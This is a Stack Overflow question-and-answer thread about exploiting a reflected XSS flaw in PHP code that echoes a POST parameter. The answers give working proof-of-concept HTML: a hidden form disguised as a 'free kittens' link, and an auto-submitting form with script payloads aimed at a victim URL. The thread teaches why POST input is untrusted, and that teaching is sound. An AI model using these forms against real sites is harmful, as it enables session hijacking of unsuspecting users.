2

Examine this example. It is in PHP, but you should be able to pick up what is happening if you don't know PHP.

echo 'You searched for "' . $_GET['q'] . '"';

Now, obviously, this is a bad idea, if I request...

http://www.example.com/?q=<script type="text/javascript">alert('xss');</script>

OK, now I change that GET to a POST...

echo 'You searched for "' . $_POST['q'] . '"';

Now the query string in the URL won't work.

I know I can't use AJAX to post there, because of same domain policy. If I can run JavaScript on the domain, then it already has security problems.

One thing I thought of is coming across a site that is vulnerable to XSS, and adding a form which posts to the target site that submits on load (or, of course, redirecting people to your website which does this). This seems to get into CSRF territory.

So, what are the ways of exploiting the second example (using POST)?

Thanks

alex
  • 479,566
  • 201
  • 878
  • 984

2 Answers2

3

All I would need to do to exploit this is to get a user to click a form that sends a tainted "q" post variable. If I were being all nasty-like, I wouldcraft a form button that looks like a link (or even a link that gets written into a form POST with Javascript, sort of like how Rails does its link_to_remote stuff pre-3.0).

Imagine something like this:

    <form id="nastyform" method="post" action="http://yoururl.com/search.php">
      <input type="submit" value="Click here for free kittens!">
      <input type="hidden" name="q" value="<script>alert('My nasty cookie-stealing Javascript')</script>" />
    </form>
    <style>
      #nastyform input {
        border: 0;
        background: #fff;
        color: #00f;
        padding: 0;
        margin: 0;
        cursor: pointer;
        text-decoration: underline;
      }
    </style>

If I can get a user to click that (thinking that he's clicking some innocent link), then I can post arbitrary data to the search that then gets echoed into his page, and I can hijack his session or do whatever other nasty things I want.

Post data isn't inherently more secure than get data; it's still user input and absolutely cannot be trusted.

CSRF attacks are a different class of attack, where some legitimate action is initiated without the permission of the user; this has the same sort of entry vector, but it's a classic XSS attack, designed to result in the injection of malicious Javascript into the page for the purpose of gaining session access or something similarly damaging.

Chris Heald
  • 61,439
  • 10
  • 123
  • 137
  • Thanks for your answer. *This seems to get into CSRF territory.* was meant to mean that exploiting POST requires a cross site attack (like in your example) - not just modifying the query string. – alex Nov 28 '10 at 00:01
  • Well, in practicality, the type of XSS attack you're talking about would be launched cross-site anyhow. Unless you're reading unfiltered data from the database and constructing pages with it for other users to see, the attack vector is going to be entry from a maliciously-crafted link somewhere else. – Chris Heald Nov 28 '10 at 00:09
3

Here is an xss exploit for your vulnerable code. As you have aluded to, this is an identical attack pattern to POST based CSRF. In this case i am building the POST request as a form, and then I call .submit() on the form at the very bottom. In order to call submit, there must be a submit type in the form. The post request will immediately execute and the page will redirect, it is best to run post based csrf of exploits in an invisible iframe. 

<html>
    <form id=1 method="post" action="http://victim/vuln.php">
        <input type=hidden name="q" value="<script>alert(/xss/)</script>">
        <input type="submit">
    </form>
</html>
<script>
    document.getElementById(1).submit();//remote root command execution!
</script>

I also recommended reading about the sammy worm and feel free to ask any questions about other exploits I have written.

rook
  • 66,304
  • 38
  • 162
  • 239
  • 2
    I love the post about the sammy worm - I read it as few years back, but now I understand it much better. Thanks for posting Rook, I secretly hoped you would :) – alex Nov 28 '10 at 23:37
  • @alex I'm happy to help. If you want to get my attention feel free to post a reply on one of my posts. – rook Nov 29 '10 at 00:57
  • +1 for sammy worm and for the interesting answer. If one day you have time I would like to hear your thought/answer on this question specifically form a security point of view: http://stackoverflow.com/questions/5052607/cookies-vs-basic-auth – Marco Demaio Apr 29 '11 at 16:14